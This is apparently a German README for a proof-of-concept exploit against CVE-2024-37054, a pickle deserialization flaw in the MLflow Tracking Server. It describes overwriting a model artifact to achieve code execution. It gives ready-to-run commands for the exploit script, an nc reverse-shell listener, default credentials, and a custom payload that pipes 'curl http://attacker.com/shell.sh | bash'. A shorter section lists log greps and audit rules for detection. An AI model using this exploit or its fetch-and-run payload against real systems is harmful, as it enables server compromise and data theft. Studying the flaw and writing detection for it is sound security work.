
Proof-of-Concept-Exploit für CVE-2024-37054, eine Pickle-Deserialisierungs-RCE in MLflow Tracking Server. Authentifizierte Angreifer können Modellartefakte überschreiben, um Remote-Codeausführung zu erreichen. Enthält Anleitung zur Erkennung und Schadensbegrenzung.
Proof-of-Concept-Exploit für eine kritische Pickle-Deserialisierungs-Schwachstelle im MLflow Tracking Server, die authentifizierte Remote-Codeausführung ermöglicht.
⚠️ Nur für Bildungszwecke und autorisierte Sicherheitstests. Nicht gegen Systeme verwenden, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2024-37054 |
| CVSS-Score | 8.8 (HIGH) |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Betroffene Versionen | MLflow < 2.14.3 |
| Patch-Version | MLflow ≥ 2.14.3 |
| Schwachstellentyp | CWE-502: Deserialisierung nicht vertrauenswürdiger Daten |
| Angriffsvektor | Netzwerk |
| Erforderliche Berechtigungen | Niedrig (gültige Anmeldeinformationen) |
| Benutzerinteraktion | Keine |
Der MLflow Tracking Server deserialisiert Modellartefakte über das Python-Modul pickle, wenn Modelle zur Inferenz geladen werden. Ein authentifizierter Angreifer kann das Artefakt python_model.pkl im MLflow-Artefakt-Repository mit einer bösartigen Pickle-Nutzlast überschreiben. Wenn das Modell anschließend geladen wird (z. B. während einer Vorhersageanfrage), wird die Nutzlast deserialisiert und führt beliebigen Code auf dem Server aus.
Voraussetzungen für die Ausnutzung:
Eine erfolgreiche Ausnutzung führt zur Remote-Codeausführung mit den Berechtigungen des MLflow-Serverprozesses, was zu einer vollständigen Systemkompromittierung, Datenexfiltration, lateraler Bewegung oder dauerhaftem Zugriff führen kann.
python_model.pkl wird über PUT /api/2.0/mlflow-artifacts/artifacts/... durch eine manipulierte Pickle-Nutzlast ersetzt.pickle.load() auf dem kompromittierten Artefakt aufruft.__reduce__-Methode des Pickles ruft os.system() auf und führt den Befehl des Angreifers aus.Die Nutzlast verwendet os.system() (ein C-built-in) anstelle von cloudpickle, um die Versionsübergreifende Kompatibilität zu maximieren und Python-versionsspezifische Bytecode-Probleme zu vermeiden.
Anforderungen: Python 3.7+, requests
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054
# Starten Sie einen Listener
nc -lvnp 4444
# Führen Sie den Exploit aus
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>
# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444
# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:MySecretPass123
# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:password \
--app-username admin \
--app-password admin123
# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--cmd "curl http://attacker.com/shell.sh | bash"
# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--experiment-id 1 --delay 5
# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v
| Argument | Beschreibung |
|---|---|
target | Ziel-Applikations-URL |
mlflow | MLflow Tracking Server URL |
lhost | Angreifer-Host für Reverse-Shell-Rückruf |
lport | Angreifer-Port für Reverse-Shell-Rückruf |
--mlflow-creds USER:PASS | MLflow-Anmeldeinformationen (Standard: admin:password) |
--app-username | Benutzername für die Anwendungsanmeldung |
--app-password | Passwort für die Anwendungsanmeldung |
--app-login-url | Pfad zum Login-Endpunkt |
--upload-url | Pfad zum Upload-Endpunkt |
--predict-url | Pfad zum Vorhersage-Endpunkt |
--experiment-id ID | Ziel eines bestimmten Experiment-ID |
--delay SEKUNDEN | Verzögerung zwischen Schritten (Standard: 2s) |
--cmd BEFEHL | Auszuführender benutzerdefinierter Befehl |
--verbose / --quiet | Ausführlichkeitskontrolle |
--no-color | Farbausgabe deaktivieren |
PUT-Anfragen an /api/2.0/mlflow-artifacts/artifacts/-Endpunktepython_model.pklPOST /api/2.0/mlflow/runs/search gefolgt von sofortigen Artefaktänderungenos.system()-Aufrufe von MLflow-Prozessen# Artefaktänderung in Zugriffslogs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log
# Dateiintegritätsüberwachung
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts
Sofort:
Langfristig:
Dieses Tool ist ausschließlich bestimmt für:
Verwenden Sie dieses Tool nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch.
MIT — siehe LICENSE für Details.